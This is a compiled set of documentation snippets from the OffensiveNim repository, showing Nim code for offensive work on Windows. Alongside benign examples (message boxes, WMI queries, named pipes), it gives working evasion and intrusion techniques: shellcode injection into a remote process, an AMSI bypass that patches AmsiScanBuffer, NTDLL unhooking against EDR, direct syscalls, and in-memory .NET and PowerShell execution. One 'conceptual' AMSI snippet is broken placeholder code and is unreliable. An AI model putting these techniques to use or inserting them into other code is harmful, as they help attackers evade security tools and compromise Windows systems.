### Compiling Nim Examples with Makefile Source: https://context7.com/byt3bl33d3r/offensivenim/llms.txt Instructions for compiling Nim examples using a Makefile, including dependency installation, cross-compilation setup for MinGW, and build commands for different optimization levels and DLL creation. ```bash # Install dependencies nimble install winim zippy nimcrypto # Install mingw for cross-compilation (Linux/MacOS) apt-get install mingw-w64 # Linux brew install mingw-w64 # MacOS # Build all examples make # Build with optimizations for size nim c -d:danger -d:strip --opt:size -d:mingw --cpu:amd64 source.nim # Build with relocation table (for reflective loading) nim c --passL:-Wl,--dynamicbase my_payload.nim ``` -------------------------------- ### Perform WMI Queries in Nim Source: https://context7.com/byt3bl33d3r/offensivenim/llms.txt Demonstrates how to query Windows Management Instrumentation (WMI) using Nim with the Winim library. Examples include retrieving installed antivirus products and listing running processes on the system. ```nim # wmiquery_bin.nim - WMI query examples import winim/com echo "Getting installed AV products" var wmi = GetObject(r"winmgmts:{impersonationLevel=impersonate}!\\.\\root\\securitycenter2") for i in wmi.execQuery("SELECT displayName FROM AntiVirusProduct"): echo "AntiVirusProduct: ", i.displayName echo "Getting processes" wmi = GetObject(r"winmgmts:{impersonationLevel=impersonate}!\\.\\root\\cimv2") for i in wmi.execQuery("select * from win32_process"): echo i.handle, ", ", i.name ``` -------------------------------- ### Interfacing with Windows API (MessageBox) Source: https://github.com/byt3bl33d3r/offensivenim/blob/master/README.md Shows how to call Windows API functions from Nim using its Foreign Function Interface (FFI). This example defines the MessageBoxA function signature and then calls it to display a message box. The `dynlib: "user32"` pragma indicates the function is in the user32.dll library. ```nim type HANDLE* = int HWND* = HANDLE UINT* = int32 LPCSTR* = cstring proc MessageBox*(hWnd: HWND, lpText: LPCSTR, lpCaption: LPCSTR, uType: UINT): int32 {.discardable, stdcall, dynlib: "user32", importc: "MessageBoxA".} MessageBox(0, "Hello, world !", "Nim is Powerful", 0) ``` -------------------------------- ### Creating Windows DLLs with Exported DllMain in Nim Source: https://context7.com/byt3bl33d3r/offensivenim/llms.txt Demonstrates the creation of a Windows DLL in Nim with a properly exported `DllMain` function. This example uses `winim/lean` and requires specific compilation flags. ```nim # pop_winim_lib.nim - DLL with exported DllMain import winim/lean proc NimMain() {.cdecl, importc.} proc DllMain(hinstDLL: HINSTANCE, fdwReason: DWORD, lpvReserved: LPVOID): BOOL {.stdcall, exportc, dynlib.} = NimMain() if fdwReason == DLL_PROCESS_ATTACH: MessageBox(0, "Hello, world !", "Nim is Powerful", 0) return true # Compile: nim c -d=mingw --app=lib --nomain --cpu=amd64 mynim.dll ``` -------------------------------- ### Cross-Compiling Nim to Windows Source: https://github.com/byt3bl33d3r/offensivenim/blob/master/README.md Demonstrates how to cross-compile Nim code to a Windows executable from a macOS or Linux environment. Requires the mingw toolchain to be installed. The `--app=console` flag specifies a console application, and `--cpu=amd64` targets the 64-bit architecture. ```nim nim c -d=mingw --app=console --cpu=amd64 source.nim ``` -------------------------------- ### Direct Syscalls with Inline Assembly in Nim Source: https://context7.com/byt3bl33d3r/offensivenim/llms.txt Demonstrates making direct system calls using inline assembly to bypass user-mode hooks. This example uses `winim/lean` and requires the `-masm=intel` compiler flag. ```nim # syscalls_bin.nim - Direct syscalls via inline assembly {.passC:"-masm=intel".} import winim/lean proc GetTEBAsm64(): LPVOID {.asmNoStackFrame.} = asm """ push rbx xor rbx, rbx xor rax, rax mov rbx, qword ptr gs:[0x30] mov rax, rbx pop rbx jno theEnd theEnd: ret """ var p = GetTEBAsm64() echo repr(p) ``` -------------------------------- ### Nim Executable Size Comparison (Winim vs. Manual API) Source: https://github.com/byt3bl33d3r/offensivenim/blob/master/README.md Compares the executable size difference between Nim programs using the Winim library for Windows API calls versus manually defining the API calls. Demonstrates that Winim adds a negligible size increase, especially when using lean imports. ```nim import winim/lean proc main() = discard MessageBoxW(NULL, "Hello from Winim!", "Winim Test", MB_OK) main() ``` ```nim # Manual WinAPI definition example (conceptual, not full code) # proc MessageBoxW(hWnd: HWND, lpText: LPCWSTR, lpCaption: LPCWSTR, uType: UINT): cint {.importc: "MessageBoxW", dynlib: "user32.dll".} proc main() = discard MessageBoxW(NULL, "Hello from manual API!", "Manual API Test", MB_OK) main() ``` -------------------------------- ### Generating Nim Executable with Relocation Table Source: https://github.com/byt3bl33d3r/offensivenim/blob/master/README.md This command generates a Nim executable with a relocation table, which is necessary for tools that perform reflective loading. The `--passL:-Wl,--dynamicbase` flag is passed to the linker to enable the dynamic base relocation feature, allowing the executable to be loaded at different memory addresses. ```nim nim c --passL:-Wl,--dynamicbase my_awesome_malwarez.nim ``` -------------------------------- ### Compiling Nim to Windows DLL (for XLL) Source: https://github.com/byt3bl33d3r/offensivenim/blob/master/README.md This command compiles a Nim file into a Windows DLL, which can then be renamed to `.xll` to function as an Excel add-in. It uses the mingw toolchain, specifies a library application (`--app=lib`), disables the default main function (`--nomain`), and targets the amd64 architecture. ```nim nim c -d=mingw --app=lib --nomain --cpu=amd64 mynim.dll ``` -------------------------------- ### Creating Windows DLL with Exported DllMain Source: https://github.com/byt3bl33d3r/offensivenim/blob/master/README.md This snippet demonstrates how to create a Windows DLL in Nim with an exported `DllMain` function. It requires passing `--nomain` to the compiler and defining `DllMain` manually, including a call to `NimMain()` for garbage collector initialization. The `winim/lean` import is used for Windows API access. ```nim import winim/lean proc NimMain() {.cdecl, importc.} proc DllMain(hinstDLL: HINSTANCE, fdwReason: DWORD, lpvReserved: LPVOID) : BOOL {.stdcall, exportc, dynlib.} = NimMain() if fdwReason == DLL_PROCESS_ATTACH: MessageBox(0, "Hello, world !", "Nim is Powerful", 0) return true ``` -------------------------------- ### Creating Excel XLL with AutoOpen Function Source: https://github.com/byt3bl33d3r/offensivenim/blob/master/README.md This Nim code creates an Excel XLL (Excel DLL) with an `xlAutoOpen` function that executes when the XLL is loaded. It also includes a `DllMain` function for proper DLL initialization, calling `NimMain` to set up Nim's garbage collector. The `winim/lean` library is used for Windows API access. ```nim #[ Compile: nim c -d=mingw --app=lib --nomain --cpu=amd64 nim_xll.nim Will compile as a DLL, you can then just change the extension to .xll ]# import winim/lean proc xlAutoOpen() {.stdcall, exportc, dynlib.} = MessageBox(0, "Hello, world !", "Nim is Powerful", 0) proc NimMain() {.cdecl, importc.} proc DllMain(hinstDLL: HINSTANCE, fdwReason: DWORD, lpvReserved: LPVOID) : BOOL {.stdcall, exportc, dynlib.} = NimMain() return true ``` -------------------------------- ### Nim Byte Array Declaration Source: https://github.com/byt3bl33d3r/offensivenim/blob/master/README.md Illustrates the difference in declaring a byte array in C# and Nim. Highlights the Nim syntax requirement to explicitly define the type for the array elements. ```csharp byte[] buf = new byte[5] {0xfc,0x48,0x81,0xe4,0xf0,0xff} ``` ```nim var buf: array[5, byte] = [byte 0xfc,0x48,0x81,0xe4,0xf0,0xff] ``` -------------------------------- ### Optimizing Nim Executable Size Source: https://github.com/byt3bl33d3r/offensivenim/blob/master/README.md Provides compiler flags to significantly reduce the size of Nim executables. The flags `-d:danger`, `-d:strip`, and `--opt:size` are recommended for maximum size reduction. Additional flags `--passc=-flto` and `--passl=-flto` can further decrease the file size by enabling Link-Time Optimization. ```nim nim c -d:danger -d:strip --opt:size --passc=-flto --passl=-flto source.nim ``` -------------------------------- ### Make HTTP Requests in Nim Source: https://context7.com/byt3bl33d3r/offensivenim/llms.txt Shows two methods for making HTTP requests in Nim: using the built-in `httpclient` module and leveraging Windows COM objects via the Winim library. This covers basic web interactions for data retrieval. ```nim # http_request_bin.nim - HTTP request examples import winim/com import httpclient # Method 1: Using Nim's httpclient echo "[*] Using httpclient" var client = newHttpClient() echo client.getContent("https://ifconfig.me") # Method 2: Using WinHTTP COM Object echo "[*] Using the WinHTTP.WinHttpRequest COM Object" var obj = CreateObject("WinHttp.WinHttpRequest.5.1") obj.open("get", "https://ifconfig.me") obj.send() echo obj.responseText ``` -------------------------------- ### Call Windows API Manually in Nim Source: https://context7.com/byt3bl33d3r/offensivenim/llms.txt Demonstrates calling Windows APIs directly using Nim's Foreign Function Interface (FFI) without external libraries. This provides granular control over type definitions and function imports for Windows API interactions. ```nim # pop_bin.nim - Manual Windows API definition type HANDLE* = int HWND* = HANDLE UINT* = int32 LPCSTR* = cstring proc MessageBox*(hWnd: HWND, lpText: LPCSTR, lpCaption: LPCSTR, uType: UINT): int32 {.discardable, stdcall, dynlib: "user32", importc: "MessageBoxA".} MessageBox(0, "Hello, world !", "Nim is Powerful", 0) ``` -------------------------------- ### Call Windows API Using Winim Library in Nim Source: https://context7.com/byt3bl33d3r/offensivenim/llms.txt Utilizes the Winim library to access Windows APIs, simplifying development with pre-defined types and COM support. This approach adds minimal overhead while significantly streamlining Windows-specific programming. ```nim # pop_winim_bin.nim - Using Winim library import winim/com MessageBox(0, "Hello, world !", "Nim is Powerful", 0) ``` -------------------------------- ### Embed Resources at Compile Time with Nim Source: https://context7.com/byt3bl33d3r/offensivenim/llms.txt Embeds binary resources like zip files at compile time using Nim's `slurp` function and extracts them at runtime. Requires the `zippy` and `streams` libraries. ```nim # embed_rsrc_bin.nim - Compile-time resource embedding import zippy/ziparchives import strformat import streams import os const MY_RESOURCE = slurp("../rsrc/super_secret_stuff.zip") let path: string = getEnv("LOCALAPPDATA") / "Temp" proc extractStuff(): bool = var archive = ZipArchive() let dataStream = newStringStream(MY_RESOURCE) archive.open(dataStream) archive.extractAll(path) archive.clear() return true echo fmt"[*] Path to extract to: {path}" if extractStuff(): echo fmt"[*] extracted" ``` -------------------------------- ### Create Named Pipe Server in Nim Source: https://context7.com/byt3bl33d3r/offensivenim/llms.txt Implements a named pipe server using Windows APIs for inter-process communication. It creates a named pipe '\\.\pipe\crack' and waits for client connections, then sends a message to the connected client. Error handling for pipe creation and connection is included. ```nim # named_pipe_server_bin.nim - Named pipe server import winim var pipe: HANDLE = CreateNamedPipe( r"\\.\pipe\crack", PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE, 1, 0, 0, 0, NULL ) if not bool(pipe) or pipe == INVALID_HANDLE_VALUE: echo "[X] Server pipe creation failed" quit(1) try: echo "[*] Waiting for client(s)" var result: BOOL = ConnectNamedPipe(pipe, NULL) echo "[*] Client connected" var data: cstring = "*** Hello from the pipe server ***" var bytesWritten: DWORD WriteFile( pipe, data, (DWORD) data.len, addr bytesWritten, NULL ) echo "[*] bytes written: ", bytesWritten finally: CloseHandle(pipe) ``` -------------------------------- ### Inject Shellcode via CreateRemoteThread in Nim Source: https://context7.com/byt3bl33d3r/offensivenim/llms.txt Injects shellcode into a remote process (notepad.exe) using VirtualAllocEx and CreateRemoteThread. It demonstrates architecture detection at compile time and uses winim/lean for Windows API calls. The shellcode is embedded as a byte array. ```nim # shellcode_bin.nim - Remote shellcode injection import winim/lean import osproc proc injectCreateRemoteThread[I, T](shellcode: array[I, T]): void = let tProcess = startProcess("notepad.exe") tProcess.suspend() defer: tProcess.close() echo "[*] Target Process: ", tProcess.processID let pHandle = OpenProcess( PROCESS_ALL_ACCESS, false, cast[DWORD](tProcess.processID) ) defer: CloseHandle(pHandle) let rPtr = VirtualAllocEx( pHandle, NULL, cast[SIZE_T](shellcode.len), MEM_COMMIT, PAGE_EXECUTE_READ_WRITE ) var bytesWritten: SIZE_T let wSuccess = WriteProcessMemory( pHandle, rPtr, unsafeAddr shellcode, cast[SIZE_T](shellcode.len), addr bytesWritten ) echo "[*] WriteProcessMemory: ", bool(wSuccess) let tHandle = CreateRemoteThread( pHandle, NULL, 0, cast[LPTHREAD_START_ROUTINE](rPtr), NULL, 0, NULL ) defer: CloseHandle(tHandle) echo "[+] Injected" when defined(windows): when defined(amd64): echo "[*] Running in x64 process" var shellcode: array[295, byte] = [byte 0xfc,0x48,0x81,0xe4...] # Truncated when isMainModule: injectCreateRemoteThread(shellcode) ``` -------------------------------- ### Execute PowerShell via Unmanaged Runspace in Nim Source: https://context7.com/byt3bl33d3r/offensivenim/llms.txt Hosts the CLR and creates a PowerShell runspace to execute PowerShell commands without launching the powershell.exe process. This allows for stealthier execution of PowerShell scripts by leveraging the .NET framework directly. ```nim # execute_powershell_bin.nim - PowerShell via runspace import winim/clr import sugar import strformat var Automation = load("System.Management.Automation") var RunspaceFactory = Automation.GetType("System.Management.Automation.Runspaces.RunspaceFactory") var runspace = @RunspaceFactory.CreateRunspace() runspace.Open() var pipeline = runspace.CreatePipeline() pipeline.Commands.AddScript("Get-Process") pipeline.Commands.Add("Out-String") var results = pipeline.Invoke() for i in countUp(0, results.Count()-1): echo results.Item(i) runspace.Close() ``` -------------------------------- ### Execute .NET Assembly from Memory in Nim Source: https://context7.com/byt3bl33d3r/offensivenim/llms.txt Executes .NET assemblies embedded as byte arrays directly from memory. It hosts the Common Language Runtime (CLR) using winim/clr and provides functions to load and execute assemblies, with or without arguments. ```nim # execute_assembly_bin.nim - In-memory .NET execution import winim/clr import sugar import strformat # .NET assembly embedded as byte array var buf: array[4608, byte] = [byte 0x4d,0x5a,0x90,0x0...] # Truncated PE echo "[*] Installed .NET versions" for v in clrVersions(): echo fmt" \--- {v}" var assembly = load(buf) dump assembly # Execute with no arguments var arr = toCLRVariant([""], VT_BSTR) assembly.EntryPoint.Invoke(nil, toCLRVariant([arr])) # Execute with arguments arr = toCLRVariant(["From Nim & .NET!"], VT_BSTR) assembly.EntryPoint.Invoke(nil, toCLRVariant([arr])) ``` -------------------------------- ### NTDLL Unhooking with Nim Source: https://context7.com/byt3bl33d3r/offensivenim/llms.txt Restores the original ntdll.dll text section by reading a fresh copy from disk to remove EDR/AV hooks. This pure Nim implementation uses `winim` and related libraries. ```nim # unhook.nim - NTDLL unhooking (pure Nim) import winim import strutils import ptr_math import strformat proc ntdllunhook(): bool = let low: uint16 = 0 var processH = GetCurrentProcess() mi : MODULEINFO ntdllModule = GetModuleHandleA("ntdll.dll") ntdllBase : LPVOID GetModuleInformation(processH, ntdllModule, addr mi, cast[DWORD](sizeof(mi))) ntdllBase = mi.lpBaseOfDll var ntdllFile = getOsFileHandle(open("C:\\windows\\system32\\ntdll.dll",fmRead)) var ntdllMapping = CreateFileMapping(ntdllFile, NULL, 16777218, 0, 0, NULL) var ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0) var hookedDosHeader = cast[PIMAGE_DOS_HEADER](ntdllBase) var hookedNtHeader = cast[PIMAGE_NT_HEADERS](cast[DWORD_PTR](ntdllBase) + hookedDosHeader.e_lfanew) for Section in low ..< hookedNtHeader.FileHeader.NumberOfSections: var hookedSectionHeader = cast[PIMAGE_SECTION_HEADER]( cast[DWORD_PTR](IMAGE_FIRST_SECTION(hookedNtHeader)) + cast[DWORD_PTR](IMAGE_SIZEOF_SECTION_HEADER * Section)) if ".text" in toString(hookedSectionHeader.Name): var oldProtection : DWORD = 0 VirtualProtect(ntdllBase + hookedSectionHeader.VirtualAddress, hookedSectionHeader.Misc.VirtualSize, 0x40, addr oldProtection) copyMem(ntdllBase + hookedSectionHeader.VirtualAddress, ntdllMappingAddress + hookedSectionHeader.VirtualAddress, hookedSectionHeader.Misc.VirtualSize) VirtualProtect(ntdllBase + hookedSectionHeader.VirtualAddress, hookedSectionHeader.Misc.VirtualSize, oldProtection, addr oldProtection) CloseHandle(processH) CloseHandle(ntdllFile) CloseHandle(ntdllMapping) return true when isMainModule: var result = ntdllunhook() echo fmt"[*] unhook Ntdll: {bool(result)}" ``` -------------------------------- ### AES256-CTR Encryption/Decryption in Nim Source: https://context7.com/byt3bl33d3r/offensivenim/llms.txt Implements AES256 encryption in Counter (CTR) mode using the Nimcrypto library. It includes key derivation via SHA256 and random Initialization Vector (IV) generation, demonstrating symmetric encryption and decryption. ```nim # encrypt_decrypt_bin.nim - AES256-CTR encryption import nimcrypto import nimcrypto/sysrand import base64 func toByteSeq*(str: string): seq[byte] {.inline.} = @$(str.toOpenArrayByte(0, str.high)) var data: seq[byte] = toByteSeq(decode("SGVsbG8gV29ybGQ=")) envkey: string = "TARGETDOMAIN" ectx, dctx: CTR[aes256] key: array[aes256.sizeKey, byte] iv: array[aes256.sizeBlock, byte] plaintext = newSeq[byte](len(data)) enctext = newSeq[byte](len(data)) dectext = newSeq[byte](len(data)) # Create Random IV discard randomBytes(addr iv[0], 16) copyMem(addr plaintext[0], addr data[0], len(data)) # Expand key to 32 bytes using SHA256 as the KDF var expandedkey = sha256.digest(envkey) copyMem(addr key[0], addr expandedkey.data[0], len(expandedkey.data)) ectx.init(key, iv) ectx.encrypt(plaintext, enctext) ectx.clear() dctx.init(key, iv) dctx.decrypt(enctext, dectext) dctx.clear() echo "ENCRYPTED TEXT: ", toHex(enctext) echo "DECRYPTED TEXT: ", toHex(dectext) ``` -------------------------------- ### Disable AMSI via Memory Patching in Nim Source: https://context7.com/byt3bl33d3r/offensivenim/llms.txt Illustrates a memory patching technique to disable the Antimalware Scan Interface (AMSI) within the current process. This involves using `VirtualProtect` and memory copy operations to modify the AMSI function in memory. ```nim # amsi_patch_bin.nim - AMSI patching example import winim/kernel32 import winim/memory proc disableAmsi() {.importc: "DisableAmsi", dynlib: "kernel32".} # Placeholder for actual AMSI disabling logic # This is a conceptual example. Actual AMSI patching requires finding the AMSI function # in memory and overwriting its prologue with instructions to return success or no-op. # The actual implementation would involve more complex memory manipulation and # potentially finding the AMSI provider handle and its associated functions. echo "Attempting to disable AMSI..." # disableAmsi() # Calling the conceptual function echo "AMSI disabling attempt finished. (Note: Actual implementation requires specific memory patching.)" ``` -------------------------------- ### Bypass AMSI using Patching in Nim Source: https://context7.com/byt3bl33d3r/offensivenim/llms.txt Patches the AmsiScanBuffer function in amsi.dll to disable AMSI (Antimalware Scan Interface). This function dynamically loads amsi.dll, finds the address of AmsiScanBuffer, and overwrites its initial bytes with a patch. It supports both x64 and x86 architectures. ```nim # amsi_patch_bin.nim - AMSI bypass import winim/lean import strformat import dynlib when defined amd64: echo "[*] Running in x64 process" const patch: array[6, byte] = [byte 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3] elif defined i386: echo "[*] Running in x86 process" const patch: array[8, byte] = [byte 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00] proc PatchAmsi(): bool = var amsi: LibHandle cs: pointer op: DWORD t: DWORD disabled: bool = false amsi = loadLib("amsi") if isNil(amsi): echo "[X] Failed to load amsi.dll" return disabled cs = amsi.symAddr("AmsiScanBuffer") if isNil(cs): echo "[X] Failed to get the address of 'AmsiScanBuffer'" return disabled if VirtualProtect(cs, patch.len, 0x40, addr op): echo "[*] Applying patch" copyMem(cs, unsafeAddr patch, patch.len) VirtualProtect(cs, patch.len, op, addr t) disabled = true return disabled when isMainModule: var success = PatchAmsi() echo fmt"[*] AMSI disabled: {bool(success)}" ``` === COMPLETE CONTENT === This response contains all available snippets from this library. No additional content exists. Do not make further requests.